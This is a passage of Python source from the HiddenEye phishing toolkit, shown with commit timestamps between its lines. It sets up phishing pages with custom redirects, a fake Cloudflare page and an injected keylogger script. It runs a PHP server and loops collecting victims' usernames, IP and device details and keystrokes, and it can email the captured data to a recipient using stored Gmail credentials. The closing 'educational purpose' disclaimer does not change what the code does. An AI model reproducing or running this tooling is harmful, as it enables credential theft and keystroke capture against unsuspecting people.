{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ PUT YOUR REDIRECTING URL HERE ] { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print (
''' \n {1} ** {0} (Do not leave it blank. Unless Errors may occur) ''' . format ( MAIN2 , MAIN4 ) )
print (
''' \n {0} [ {1} * {0} ] {0} Insert a custom redirect url: ''' . format ( MAIN0 , MAIN4 ) )
custom = input ( ''' \n {0} REDIRECT HERE>>> {2} ''' . format ( MAIN0 , MAIN4 , MAIN2 ) )
if ' http:// ' in custom or ' https:// ' in custom :
pass
else :
custom = ' http:// ' + custom
2020-01-20 16:27:13 +08:00
if path . exists ( ' Server/www/js/location.js ' ) : # For Location (gdrive) Template Redirection.
with open ( ' Server/www/js/location.js ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/js/location.js ' , ' w ' )
f . write ( c )
f . close ( )
2019-11-17 00:19:44 +08:00
if path . exists ( ' Server/www/post.php ' ) and path . exists ( ' Server/www/login.php ' ) :
with open ( ' Server/www/login.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/login.php ' , ' w ' )
f . write ( c )
f . close ( )
with open ( ' Server/www/post.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/post.php ' , ' w ' )
f . write ( c )
f . close ( )
2020-01-20 16:27:13 +08:00
2019-11-17 00:19:44 +08:00
else :
with open ( ' Server/www/login.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/login.php ' , ' w ' )
f . write ( c )
f . close ( )
2019-05-05 21:20:45 +08:00
2019-11-14 19:02:29 +08:00
def emailPrompt ( ) :
2019-11-17 00:19:44 +08:00
system ( ' clear ' )
print ( ''' {1}
2019-11-14 19:02:29 +08:00
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 1 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : { 1 } DARKSEC { 0 } * *
2019-11-17 00:19:44 +08:00
''' .format(MAIN0, MAIN2))
print (
" ------------------------------- \n {0} [ PROMPT: NEED CAPTURED DATA TO EMAIL ? ] {1} !! {0} \n ------------------------------- " . format ( MAIN0 , MAIN4 ) )
addingEmail ( )
2019-11-14 19:02:29 +08:00
def addingEmail ( ) :
2019-11-17 00:19:44 +08:00
print ( " \n {0} [ {1} ! {0} ] {1} No Need To Configure, If you have Already Done. " . format (
MAIN0 , MAIN4 ) )
print ( " \n {0} [ {1} * {0} ] {0} DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE - {1} (Y/N) " . format ( MAIN0 , MAIN4 ) )
choice = input ( " \n \n {1} {0} YOUR CHOICE >>> {2} " . format (
MAIN0 , MAIN4 , MAIN2 ) ) . upper ( )
if choice == ' Y ' :
print ( " \n {0} [ {1} ! {0} ] BEFORE STARTING MAKE SURE THESE THINGS: \n \n {0} [ {1} + {0} ] {1} YOU HAVE CORRECT GMAIL USERNAME & PASSWORD \n {0} [ {1} + {0} ] {1} YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT \n {0} [ {1} + {0} ] {1} YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n \n " . format ( MAIN0 , MAIN4 ) )
input ( ' [.] Press Enter To Start Configuring Gmail Credential File... ' )
emailPrompt2 ( )
elif choice == ' N ' :
pass
else :
print ( ' [^] ERROR: Please choose correct option to continue... ' )
sleep ( 1 )
emailPrompt ( )
2019-11-14 19:02:29 +08:00
def emailPrompt2 ( ) :
2019-11-17 00:19:44 +08:00
system ( ' clear ' )
print ( ''' {1}
2019-11-14 19:02:29 +08:00
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 1 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : { 1 } DARKSEC { 0 } * *
2019-11-17 00:19:44 +08:00
''' .format(MAIN0, MAIN2))
print (
" ------------------------------- \n {0} [ PROMPT: CONFIG EMAIL CREDENTIAL FILE ] {1} !! {0} \n ------------------------------- " . format ( MAIN0 , MAIN4 ) )
emailConfig ( )
def emailConfig ( ) :
2019-11-14 19:02:29 +08:00
system ( ' cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py ' )
2019-11-17 00:19:44 +08:00
GMAILACCOUNT = input (
" {0} [ {1} + {0} ] {0} Enter Your Gmail Username: {1} " . format ( MAIN0 , MAIN4 ) )
2019-11-14 19:02:29 +08:00
with open ( ' Defs/Send_Email/emailconfig.py ' ) as f :
read_data = f . read ( )
2019-11-17 00:19:44 +08:00
c = read_data . replace ( ' GMAILACCOUNT ' , GMAILACCOUNT )
2019-11-14 19:02:29 +08:00
f = open ( ' Defs/Send_Email/emailconfig.py ' , ' w ' )
f . write ( c )
f . close ( )
2019-11-17 00:19:44 +08:00
print ( " {0} [.] {1} Email Address Added To config File. ! \n " . format (
MAIN0 , MAIN4 ) )
GMAILPASSWORD = getpass . getpass (
" {0} [ {1} + {0} ] {0} Enter Your Gmail Password: {1} " . format ( MAIN0 , MAIN4 ) )
2019-11-14 19:02:29 +08:00
with open ( ' Defs/Send_Email/emailconfig.py ' ) as f :
read_data = f . read ( )
GMAILPASSWORD = base64 . b64encode ( GMAILPASSWORD . encode ( ) )
GMAILPASSWORD = ( GMAILPASSWORD . decode ( ' utf-8 ' ) )
2019-11-17 00:19:44 +08:00
c = read_data . replace ( ' GMAILPASSWORD ' , GMAILPASSWORD )
2019-11-14 19:02:29 +08:00
f = open ( ' Defs/Send_Email/emailconfig.py ' , ' w ' )
f . write ( c )
f . close ( )
2019-11-17 00:19:44 +08:00
print ( " {0} [.] {1} Password(Encoded) Added To config File. ! \n " . format (
MAIN0 , MAIN4 ) )
RECIPIENTEMAIL = input (
" {0} [ {1} + {0} ] {0} Enter Recipient Email: {1} " . format ( MAIN0 , MAIN4 ) )
2019-11-14 19:02:29 +08:00
with open ( ' Defs/Send_Email/emailconfig.py ' ) as f :
read_data = f . read ( )
2019-11-17 00:19:44 +08:00
c = read_data . replace ( ' RECIPIENTEMAIL ' , RECIPIENTEMAIL )
2019-11-14 19:02:29 +08:00
f = open ( ' Defs/Send_Email/emailconfig.py ' , ' w ' )
f . write ( c )
f . close ( )
2019-11-17 00:19:44 +08:00
print ( " {0} [.] {1} Recipient Email Address Added To config File. ! \n " . format (
MAIN0 , MAIN4 ) )
print (
' \n \n {0} [ {1} SUCCESS {0} ] {0} : Created Config File & Saved To (Defs/Send_Email/Config.py) ' . format ( MAIN0 , MAIN4 ) )
2019-11-14 19:02:29 +08:00
2019-08-31 05:51:16 +08:00
def cloudfarePrompt ( ) :
2019-11-17 00:19:44 +08:00
system ( ' clear ' )
print ( ''' {1}
2019-08-31 05:51:16 +08:00
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 1 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : { 1 } DARKSEC { 0 } * *
2019-11-17 00:19:44 +08:00
''' .format(MAIN0, MAIN2))
print (
" ------------------------------- \n {0} [ CLOUDFARE PROTECTION PROMPT ] {1} !! {0} \n ------------------------------- " . format ( MAIN0 , MAIN4 ) )
addingCloudfare ( )
2019-08-31 05:51:16 +08:00
def addingCloudfare ( ) :
2019-11-17 00:19:44 +08:00
print ( " \n {0} [ {1} * {0} ] {0} DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE - {1} (Y/N) " . format ( MAIN0 , MAIN4 ) )
choice = input ( " \n \n {1} {0} YOUR CHOICE >>> {2} " . format (
MAIN0 , MAIN4 , MAIN2 ) ) . upper ( )
if choice == ' Y ' :
addCloudfare ( )
else :
sleep ( 1 )
2019-08-31 05:51:16 +08:00
def addCloudfare ( ) :
2019-11-17 00:19:44 +08:00
system ( ' mv Server/www/index.* Server/www/home.php && cp WebPages/cloudfare.html Server/www/index.html ' )
print ( " \n {0} [ {1} # {0} ]CLOUDFARE FAKE PAGE {0} ADDED... " . format ( MAIN0 , MAIN4 ) )
sleep ( 1 )
2019-01-28 06:45:33 +08:00
def keyloggerprompt ( ) :
2019-11-17 00:19:44 +08:00
system ( ' clear ' )
print ( ''' {1}
2019-01-28 06:45:33 +08:00
_ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
2019-04-19 22:36:23 +08:00
{ 1 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : { 1 } DARKSEC { 0 } * *
2019-11-17 00:19:44 +08:00
''' .format(MAIN0, MAIN2))
print (
" ------------------------------- \n {0} [ KEYLOGGER PROMPT ] {1} !! {0} \n ------------------------------- " . format ( MAIN0 , MAIN4 ) )
2018-10-29 03:49:19 +08:00
2019-01-28 06:45:33 +08:00
def addingkeylogger ( ) :
2019-11-17 00:19:44 +08:00
print ( " \n {0} [ {1} ! {0} ] {1} ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection. \n " . format (
MAIN0 , MAIN4 ) )
print ( " \n {0} [ {1} * {0} ] {0} DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE- {1} (Y/N) " . format ( MAIN0 , MAIN4 ) )
choice = input ( " \n \n {1} {0} YOUR CHOICE >>> {2} " . format (
MAIN0 , MAIN4 , MAIN2 ) ) . upper ( )
if choice == ' Y ' :
addkeylogger ( )
else :
sleep ( 1 )
2019-03-07 10:41:28 +08:00
2019-05-05 21:20:45 +08:00
def addkeylogger ( ) :
2019-11-17 00:19:44 +08:00
if path . exists ( ' Server/www/index.html ' ) :
with open ( ' Server/www/index.html ' ) as f :
read_data = f . read ( )
c = read_data . replace (
' </title> ' , ' </title><script src= " keylogger.js " ></script> ' )
f = open ( ' Server/www/index.html ' , ' w ' )
f . write ( c )
f . close ( )
2020-01-20 16:27:13 +08:00
print ( " \n {0} [ {1} # {0} ]Keylogger {0} ADDED !!! " . format ( MAIN0 , MAIN4 ) )
2019-11-17 00:19:44 +08:00
sleep ( 2 )
else :
with open ( ' Server/www/index.php ' ) as f :
read_data = f . read ( )
c = read_data . replace (
' </title> ' , ' </title><script src= " keylogger.js " ></script> ' )
f = open ( ' Server/www/index.php ' , ' w ' )
f . write ( c )
f . close ( )
2020-01-20 16:27:13 +08:00
print ( " \n {0} [ {1} # {0} ]Keylogger {0} ADDED !!! " . format ( MAIN0 , MAIN4 ) )
2019-11-17 00:19:44 +08:00
sleep ( 2 )
2019-05-05 21:20:45 +08:00
2019-07-30 19:24:16 +08:00
def runServer ( port ) :
system ( " fuser -k %s /tcp > /dev/null 2>&1 " % ( port ) )
system ( " cd Server/www/ && php -S 127.0.0.1: %s > /dev/null 2>&1 & " % ( port ) )
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
2020-01-08 09:18:21 +08:00
def emailPrompt3 ( port ) : # Ask user to start sending credentials to recipient Email Address.
2019-11-17 00:19:44 +08:00
choice = input (
" \n \n {0} [ {1} ? {0} ] Send Captured Data To Recipient Email Address. \n Send_Email(y/n)>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) ) . upper ( )
2020-01-08 09:18:21 +08:00
if choice == ' Y ' or choice == ' y ' :
2019-11-17 00:19:44 +08:00
if path . isfile ( ' Defs/Send_Email/emailconfig.py ' ) == True :
system ( ' python3 Defs/Send_Email/SendEmail.py ' )
2019-11-14 19:02:29 +08:00
else :
2019-11-17 00:19:44 +08:00
print (
' [ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION. ' )
sleep ( 2 )
2020-01-08 09:18:21 +08:00
endMessage ( port )
elif choice == ' N ' or choice == ' n ' :
endMessage ( port )
2019-11-17 00:19:44 +08:00
else :
system ( ' clear ' )
print ( " \n \n {0} [ {1} ^ {0} ] {2} Please Select A Valid Option.. " . format (
MAIN0 , MAIN4 , MAIN2 ) )
sleep ( 1 )
system ( ' clear ' )
2020-01-08 09:18:21 +08:00
return emailPrompt3 ( port )
2019-11-17 00:19:44 +08:00
2020-01-08 09:18:21 +08:00
def endMessage ( port ) : # Message when HiddenEye exit
2019-11-17 00:19:44 +08:00
choice = input (
2020-01-08 09:18:21 +08:00
" \n \n {0} [ {1} ? {0} ] Re-run(r) : Exit(x) : Send Email(M) : SelectServer(S) \n \n >> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) ) . upper ( )
if choice == ' R ' or choice == ' r ' :
2019-11-17 00:19:44 +08:00
system ( ' sudo python3 HiddenEye.py ' )
2020-01-08 09:18:21 +08:00
elif choice == ' M ' or choice == ' m ' :
emailPrompt3 ( port )
elif choice == ' S ' or choice == ' s ' :
returnServer ( port )
elif choice == ' X ' or choice == ' x ' :
2019-11-17 00:19:44 +08:00
system ( ' clear ' )
print ( '''
2018-10-30 14:18:21 +08:00
{ 3 } HIDDEN EYE { 3 } BY : DARKSEC TEAM
2019-04-19 22:36:23 +08:00
{ 1 } https : / / github . com / DarkSecDevelopers / HiddenEye
2019-05-05 21:20:45 +08:00
2019-11-14 19:02:29 +08:00
{ 3 } [ [ * ] ] IF YOU LIKE THIS TOOL , THEN PLEASE HELP TO BECOME BETTER .
2019-04-19 22:36:23 +08:00
{ 0 }
[ { 3 } ! { 0 } ] PLEASE LET US KNOW , IF ANY PHISHING PAGE GOT BROKEN .
2019-05-05 21:20:45 +08:00
[ { 3 } ! { 0 } ] MAKE PULL REQUEST , LET US KNOW YOU SUPPORT US .
2019-04-19 22:36:23 +08:00
[ { 3 } ! { 0 } ] IF YOU HAVE MORE PHISHING PAGES , THEN JUST MAKE A PULL REQUEST .
[ { 3 } ! { 0 } ] PLEASE DON ' T HARM ANYONE , ITS ONLY FOR EDUCATIONAL PURPOSE.
[ { 3 } ! { 0 } ] WE WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS TOOL
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
{ 3 } [ [ * ] ] THANKS FOR USE THIS TOOL . HAPPY HACKING . . . GOOD BYE \n ''' .format(MAIN2, MAIN2, MAIN4, MAIN0))
else :
system ( ' clear ' )
2020-01-08 09:18:21 +08:00
return endMessage ( port )
2019-05-05 21:20:45 +08:00
2020-01-08 09:18:21 +08:00
def returnServer ( port ) :
selectServer ( port )
2018-10-30 22:22:44 +08:00
2019-11-17 00:19:44 +08:00
def getCredentials ( port ) :
2018-10-30 22:22:44 +08:00
2019-11-17 00:19:44 +08:00
print ( " {0} [ {1} * {0} ] {1} Waiting For Victim Interaction. Keep Eyes On Requests Coming From Victim ... \n {2} ________________________________________________________________________________ \n " . format ( MAIN0 , MAIN2 , MAIN4 ) )
2018-10-29 03:49:19 +08:00
while True :
with open ( ' Server/www/usernames.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
if len ( lines ) != 0 :
2019-11-17 00:19:44 +08:00
writeLog ( ' \n {0} [ {1} CREDENTIALS FOUND {0} ] {1} : \n {0} {2} {1} ' . format (
MAIN2 , MAIN3 , lines ) )
2019-11-18 18:00:29 +08:00
system ( " touch Server/CapturedData/usernames.txt && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt && echo -n ' ' > Server/www/usernames.txt " )
2018-10-29 03:49:19 +08:00
with open ( ' Server/www/ip.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
2019-06-22 14:45:59 +08:00
if len ( lines ) != 0 :
2020-01-20 16:27:13 +08:00
writeLog ( ' \n {0} [ {1} DEVICE DETAILS FOUND {0} ] {1} : \n {0} {2} {1} ' . format (
MAIN2 , MAIN3 , lines ) )
2019-11-14 19:02:29 +08:00
system ( ' touch Server/CapturedData/ip.txt && cat Server/www/ip.txt >> Server/CapturedData/ip.txt && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt && rm -rf Server/www/ip.txt && touch Server/www/ip.txt ' )
2018-10-29 03:49:19 +08:00
creds . close ( )
with open ( ' Server/www/KeyloggerData.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
if len ( lines ) != 0 :
2019-11-17 00:19:44 +08:00
writeLog (
' {0} ............................... ' . format ( MAIN0 , MAIN4 ) )
2019-11-18 18:00:29 +08:00
writeLog (
' {1} [ {0} GETTING PRESSED KEYS {1} ] {1} : \n {0} {2} {1} ' . format ( MAIN3 , MAIN2 , lines ) )
2019-11-14 19:02:29 +08:00
system ( ' touch Server/CapturedData/KeyloggerData.txt && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt && rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt ' )
2019-11-17 00:19:44 +08:00
writeLog (
' {0} ............................... ' . format ( MAIN0 , MAIN4 ) )
2018-10-29 03:49:19 +08:00
creds . close ( )
2019-11-17 00:19:44 +08:00
def writeLog ( ctx ) : # Writing log
if config . get ( " Settings " , " DidBackground " ) == " True " : # if didBackground == True, write
logFile . write ( ctx . replace ( MAIN0 , " " ) . replace ( MAIN1 , " " ) . replace (
MAIN2 , " " ) . replace ( MAIN3 , " " ) . replace ( MAIN4 , " " ) + " \n " )
2018-10-29 03:49:19 +08:00
print ( ctx )